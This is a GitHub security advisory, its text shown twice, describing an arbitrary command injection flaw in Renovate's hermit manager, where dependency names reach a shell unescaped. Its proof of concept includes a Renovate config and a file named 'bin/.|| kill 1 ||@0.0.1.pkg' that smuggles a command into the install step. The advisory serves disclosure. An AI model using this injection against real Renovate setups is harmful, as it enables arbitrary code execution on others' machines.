You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The user-provided string depName in the hermit manager is appended to the ./hermit install and ./hermit uninstall commands without proper sanitization.
Details
Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToInstall and packagesToUninstall variables in lib/modules/manager/hermit/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (b696abb), released on July 30 of 2022.
In version 37.199.1 (eaec10d) some use of the quote function from the shlex package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability.
When support for replacements was introduced with version 37.214.4 (41e8b99), the same faulty approach was replicated for uninstalling packages.
PoC
Create a git repo with the following content:
renovate.json5:
{$schema: "https://docs.renovatebot.com/renovate-schema.json",customDatasources: {always: {defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],},},packageRules: [{// Target of the daymatchManagers: ["hermit"],// Trick the manager in believing there's a new versionoverrideDatasource: "custom.always",},],}
bin/hermit:
#!/bin/bash## THIS FILE IS GENERATED; DO NOT MODIFYset -eo pipefail
export HERMIT_USER_HOME=~if [ -z"${HERMIT_STATE_DIR}" ];thencase"$(uname -s)"in
Darwin)
export HERMIT_STATE_DIR="${HERMIT_USER_HOME}/Library/Caches/hermit"
;;
Linux)
export HERMIT_STATE_DIR="${XDG_CACHE_HOME:-${HERMIT_USER_HOME}/.cache}/hermit"
;;
esacfiexport HERMIT_DIST_URL="${HERMIT_DIST_URL:-https://github.com/cashapp/hermit/releases/download/stable}"
HERMIT_CHANNEL="$(basename "${HERMIT_DIST_URL}")"export HERMIT_CHANNEL
export HERMIT_EXE=${HERMIT_EXE:-${HERMIT_STATE_DIR}/pkg/hermit@${HERMIT_CHANNEL}/hermit}if [ !-x"${HERMIT_EXE}" ];thenecho"Bootstrapping ${HERMIT_EXE} from ${HERMIT_DIST_URL}"1>&2
INSTALL_SCRIPT="$(mktemp)"# This value must match that of the install script
INSTALL_SCRIPT_SHA256="09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6"if [ "${INSTALL_SCRIPT_SHA256}"="BYPASS" ];then
curl -fsSL "${HERMIT_DIST_URL}/install.sh" -o "${INSTALL_SCRIPT}"else# Install script is versioned by its sha256sum value
curl -fsSL "${HERMIT_DIST_URL}/install-${INSTALL_SCRIPT_SHA256}.sh" -o "${INSTALL_SCRIPT}"# Verify install script's sha256sum
openssl dgst -sha256 "${INSTALL_SCRIPT}"| \
awk -v EXPECTED="$INSTALL_SCRIPT_SHA256" \
'$2!=EXPECTED {print "Install script sha256 " $2 " does not match " EXPECTED; exit 1}'fi
/bin/bash "${INSTALL_SCRIPT}"1>&2fiexec"${HERMIT_EXE}" --level=fatal exec"$0" -- "$@"
bin/.|| kill 1 ||@0.0.1.pkg (symlink):
A symlink to hermit
Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.
Note
This specific proof of concept was made a lot simpler with the introduction of the overrideDatasource configuration since version 38.120.0 (a70a6a3), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution.
Impact
TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
Learn more on MITRE.
Summary
The user-provided string
depNamein thehermitmanager is appended to the./hermit installand./hermit uninstallcommands without proper sanitization.Details
Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the
packagesToInstallandpackagesToUninstallvariables in lib/modules/manager/hermit/artifacts.ts are not being escaped using thequotefunction from theshlexpackage.This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (b696abb), released on July 30 of 2022.
In version 37.199.1 (eaec10d) some use of the
quotefunction from theshlexpackage was added, but not in a way that usefully prevented this arbitrary code injection vulnerability.When support for replacements was introduced with version 37.214.4 (41e8b99), the same faulty approach was replicated for uninstalling packages.
PoC
renovate.json5:bin/hermit:bin/.|| kill 1 ||@0.0.1.pkg(symlink):A symlink to
hermitkill 1, terminating the root process of the container.Note
This specific proof of concept was made a lot simpler with the introduction of the
overrideDatasourceconfiguration since version 38.120.0 (a70a6a3), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution.Impact
TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.